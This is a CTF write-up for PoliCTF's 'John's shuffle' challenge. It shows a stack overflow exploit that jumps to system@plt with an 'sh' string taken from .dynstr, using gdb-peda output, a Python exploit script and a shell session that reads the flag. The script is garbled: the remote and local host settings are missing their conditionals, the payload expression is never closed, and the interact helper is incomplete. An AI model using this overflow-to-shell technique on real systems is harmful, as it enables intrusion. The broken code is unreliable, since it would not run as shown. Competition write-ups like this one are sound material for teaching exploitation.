PoliCTF John's shuffle: system("sh") technique

This is my short writeup for John's shuffle.

John is completely drunk and unable to protect his poor stack.. Fortunately he can still count on his terrific shuffling skills. Connect to shuffle.polictf.it:80

This is pwnable challenge worth 350 points. The binary is NX enabled, no stack protector yey.
I solved really fast and I thought this challenge is not worth 350 points ;)


How to PWN the server

First of all, You must use ROP payload instead of shellcode because the binary is NX enabled and there's no executable buffer...
The goal is to read the flag simplicity. But sometimes either guessing filename of the flag or executing SUID binary is required. So, the best way is to execute system("/bin/sh").

  • Leak libc base address
  • Guess libc version (e.g. leak copyright, find from libcdb.com)
  • Calculate addresses

That's easy? I think it looks like complicated, right?

Exploit it, more easy way...?

This binary has a buffer overflow vulnerability to find easily.
By the way, johns-shuffle provides system@plt and you don't have to leak anymore!

Where is "/bin/sh"? I don't have any buffers, there's no useful string in .data section?
Anyway, use gdb-peda's find command like this: (Here is customized gdb-peda: akiym/pedal · GitHub)

gdb-peda$ find '/bin/sh\0'
Searching for '/bin/sh\\0' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f6e344 ("/bin/sh")
gdb-peda$ find 'sh\0'
Searching for 'sh\\0' in: None ranges
Found 17 results, display max 17 items:
johns-shuffle : 0x8048458 --> 0x65006873 ("sh")
         libc : 0xf7e1b420 --> 0x5f006873 ("sh")

Oh, "/bin/sh\0" is in libc... Do I have to leak libc base address? Wait, "flush\0" is in .dynstr section! Don't need to leak, I got it!
In most cases, $PATH environment variable is set. So, system("sh") now works. Let's write an exploit code.

# -*- coding: utf-8 -*-
import os
import sys
import struct
import socket

p = lambda x: struct.pack("<I", x)
u = lambda x: struct.unpack("<I", x)[0]

def connect(host, port):
    return socket.create_connection((host, port))

def interact():
    import telnetlib
    t = telnetlib.Telnet()
    t.sock = s

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

    host = 'shuffle.polictf.it'
    port = 80
    host = ''
    port = 4000

s = connect(host, port)
payload = (
    'A' * 32 +
    p(0x8048720) + # system@plt
    p(0xdeadbeef) +
    p(0x8048458) + # "sh\0"
s.send(payload + '\n')

Note: This exploit is unstable, try several times.

% python exploit.py r
It all began as a mistake..

It all began as a mistake..
*** Connection closed by remote host ***
% python exploit.py r
It all began as a mistake..

It all began as a mistake..
cat /home/*/flag